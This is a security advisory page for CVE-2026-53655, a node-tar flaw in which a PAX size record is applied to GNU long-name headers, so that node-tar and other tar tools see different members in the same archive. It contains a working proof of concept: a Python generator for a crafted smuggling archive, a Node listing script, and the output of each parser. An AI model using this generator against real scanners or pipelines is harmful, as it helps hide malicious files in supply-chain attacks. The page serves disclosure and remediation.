CVE-2026-53655: node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)

Published Jun 15, 2026
·
Updated

Summary

tar (node-tar) applies a PAX extended header's size= record (and other PAX overrides) to the next header entry of any type, including intermediary metadata headers such as a GNU long-name (L) or long-link (K) entry. Per POSIX pax, a PAX extended header (x) describes the next file entry, not the intermediary extension headers that may sit between the x header and the file it annotates. Because node-tar lets the PAX size override the byte length of an intervening L/K/x header, an attacker can desynchronize node-tar's stream cursor relative to every other mainstream tar implementation (GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs / astral-tokio-tar).

The result is a tar parser interpretation differential (CWE-436): a single crafted archive yields a different set of members under node-tar than under the reference tar tools. An attacker can use this to hide a member from one parser while it is visible to another, which defeats security tooling whose scanner and extractor disagree on archive contents (e.g. a malware/secret scanner that lists entries with one library while a downstream step extracts with another). node-tar is one of the most widely deployed JavaScript tar libraries (it backs npm's own package-tarball handling and is a transitive dependency of a very large fraction of the npm ecosystem), so the blast radius for "files that extract differently depending on the tool" is broad.

This is the same root cause and fix that was just addressed upstream in the Rust tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent defect and has no equivalent guard.

Impact

- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and GHSA-fp55-jw48-c537). - A crafted archive can present one logical member list to a tool that lists or scans with node-tar and a different member list to GNU tar / libarchive / Python tarfile (and vice versa). This lets a malicious file be hidden from a scanner that uses a different parser than the eventual extractor, or hidden from node-tar-based inspection while still landing on disk via a system tar. - No authentication is required; the only precondition is that a victim parses an attacker-supplied tar with node-tar. Tar archives are routinely fetched from untrusted sources (package registries, user uploads, CI artifacts, container layers). - Severity: Medium. Impact is integrity-of-archive-interpretation, not direct RCE; it is a building block for supply-chain / scanner-evasion attacks rather than a standalone code-execution primitive.

Vulnerable code (file:line)

src/header.ts (compiled to dist/esm/header.js:49 and dist/commonjs/header.js:85 in the published tar@7.5.15):

ts // Header.decode(buf, off, ex, gex) this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)

ex is the currently-accumulated PAX local extended header and gex the PAX global header. The size override from ex/gex is applied unconditionally to whatever header is being decoded next — there is no check that the header being decoded is a real file entry rather than an intermediary extension header.

src/parse.ts, [CONSUMEHEADER] constructs the next header with the current EX/GEX applied:

ts const header = new Header(chunk, position, this[EX], this[GEX])

and later branches on whether that header is a metadata entry. this[EX] is cleared only in the non-meta (real file) branch:

ts if (entry.meta) { // L / K / x / g metadata entries: this[EX] is left intact here if (entry.size > this.maxMetaEntrySize) { entry.ignore = true this[STATE] = 'ignore' entry.resume() } else if (entry.size > 0) { this[META] = '' entry.on('data', c => (this[META] += c)) this[STATE] = 'meta' } } else { this[EX] = undefined // EX cleared only once a real file entry is reached }

When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the L header is constructed with this[EX] still set, so its size/remain becomes N instead of the L payload's true length. node-tar then consumes N bytes of "metadata" and resumes header parsing at the wrong offset, landing mid-stream. Every other mainstream parser applies the PAX size only to the following file entry, so they stay synchronized.

The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is to not apply PAX size/overrides when the entry being decoded is itself an extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX global).

How input reaches the sink

tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route every 512-byte header block through Header.decode(...) with the currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied archive — tar.list, tar.extract, or piping into the streaming Parser — reaches the sink. No options need to be enabled; the default code path is affected.

Proof of concept

Archive layout (all standard, GNU-tar-producible blocks):

block 0 : x header (PAX local extended, typeflag 'x'), its own size = len(pax body) block 1 : x payload : the single PAX record "...size=2048\n" block 2 : L header (GNU long-name '././@LongLink'), real size = 13 block 3 : L payload : "longname.txt\0" (the long name for the next file) block 4 : file header 'filea', size = 16 block 5 : filea body (16 bytes, zero-padded to 512) block 6 : file header 'fileb', size = 16 block 7 : fileb body (16 bytes, zero-padded to 512)

Generator (maketar.py, pure stdlib, no external deps):

python def hdr(name, size, typeflag): h = bytearray(512); name = name[:100]; h[0:len(name)] = name h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0' h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0' h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00' h[148:156] = b' ' 8 cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode() return bytes(h)

def pad(d): return d + b'\0' ((512 - len(d) % 512) % 512)

def paxrecord(key, val): # length-prefixed PAX record "LEN key=val\n" body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body) while True: s = str(n).encode() + body if len(s) == n: break n = len(s) return s

pax = paxrecord('size', 2048) # malicious: claim size=2048 for the "next" entry out = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax) out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0') out += hdr(b'filea', 16, b'0') + pad(b'AAAAfileabody') out += hdr(b'fileb', 16, b'0') + pad(b'BBBBfilebbody') out += b'\0' 1024 open('pax-desync.tar', 'wb').write(out)

A negative-control archive is identical except the PAX record is paxrecord('comment', 'x') (no size=), written to pax-control.tar.

End-to-end reproduction (against pinned version tar@7.5.15, latest release)

Install the published package into a clean project and parse both archives:

$ npm init -y >/dev/null && npm install tar@7.5.15 $ node -e "console.log(require('tar/package.json').version)" 7.5.15 $ grep -n "ex?.size ?? gex?.size" nodemodules/tar/dist/esm/header.js 49: this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);

e2e.mjs:

js import as tar from 'tar' async function listEntries(f){ const got=[], warns=[] await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() }, onwarn:(code,msg)=>warns.push(code) }) return { got, warns } } const mal = await listEntries('pax-desync.tar') console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns)) const ctl = await listEntries('pax-control.tar') console.log('CONTROL entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))

Verbatim output:

=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===

[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> filea(16B) -> fileb(16B) tar.list() entries : [] tar.list() warnings: ["TARENTRYINVALID"]

[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override) tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"fileb","size":16,"type":"File"}] tar.list() warnings: []

Reference parsers on the same pax-desync.tar:

$ tar tvf pax-desync.tar -rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # GNU tar

$ bsdtar tvf pax-desync.tar -rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # libarchive

$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])" ['longname.txt'] # Python tarfile

Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile all extract the member longname.txt from pax-desync.tar, whereas node-tar 7.5.15 desynchronizes, raises TARENTRYINVALID (checksum failure from landing mid-stream), and reports zero members. The negative control proves the divergence is caused solely by the PAX size= override being applied to the intermediary L header — when the same archive carries a PAX record without size=, node-tar parses it identically to the reference tools (longname.txt, fileb).

Suggested fix

When decoding a header, do not apply PAX size (or other PAX overrides) if the header being decoded is itself an extension header. Concretely, in src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath (GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in Header.decode, gate the ex?.size ?? gex?.size override on the decoded type not being one of those extension types. This mirrors the upstream Rust fix, which guards paxsize with isgnulongname || isgnulonglink || ispaxlocalextensions || ispaxglobalextensions.

A fix PR is being prepared against a private fork and will be linked here.

Fix PR

To be linked from a private fork of the repository (the fix will not be pushed to any public fork or to upstream during embargo).

Credits

Reported by tonghuaroot.

Other sources

node-tar is a full-featured Tar for Node.js. Prior to 7.5.16, tar (node-tar) applies a PAX extended header's size= record (and other PAX overrides) to the next header entry of any type, including intermediary metadata headers such as a GNU long-name (L) or long-link (K) entry. Per POSIX pax, a PAX extended header (x) describes the next file entry, not the intermediary extension headers that may sit between the x header and the file it annotates. Because node-tar lets the PAX size override the byte length of an intervening L/K/x header, an attacker can desynchronize node-tar's stream cursor relative to every other mainstream tar implementation (GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs / astral-tokio-tar). The result is a tar parser interpretation differential (CWE-436): a single crafted archive yields a different set of members under node-tar than under the reference tar tools. An attacker can use this to hide a member from one parser while it is visible to another, which defeats security tooling whose scanner and extractor disagree on archive contents (e.g. a malware/secret scanner that lists entries with one library while a downstream step extracts with another) This vulnerability is fixed in 7.5.16.

MITRE

Affected Software

2 affected componentsFixes available
npm/tar<=7.5.15
7.5.16
isaacs Tar Node.js<7.5.16

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/tar to a version that resolves this vulnerability.

    Fixed in 7.5.16
  2. Upgrade

    Upgrade tar to a version that resolves this vulnerability.

    Fixed in 7.5.16

Event History

Jun 15, 2026
Advisory Published
via GitHub·05:19 PM
Data Sourced
via GitHub·05:19 PM
DescriptionWeaknessAffected Software
Jun 22, 2026
CVE Published
via MITRE·02:55 PM
Data Sourced
via MITRE·02:55 PM
DescriptionWeakness
Data Sourced
via NVD·04:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-53655?

CVE-2026-53655 has a medium severity rating of 6.9 according to the CVSS scoring system.

2

How do I fix CVE-2026-53655?

To mitigate CVE-2026-53655, update the node-tar package to the latest version where the vulnerability has been addressed.

3

What does CVE-2026-53655 impact?

CVE-2026-53655 affects the node-tar package, specifically how it handles PAX extended headers during tar file parsing.

4

What is the risk associated with CVE-2026-53655?

The risk associated with CVE-2026-53655 is classified with a risk score of 38, indicating potential for file smuggling attacks.

5

What type of applications are vulnerable to CVE-2026-53655?

Applications that utilize the npm/tar package for handling tar files may be vulnerable to CVE-2026-53655.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203
CVE-2026-53655 - node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling) - SecAlerts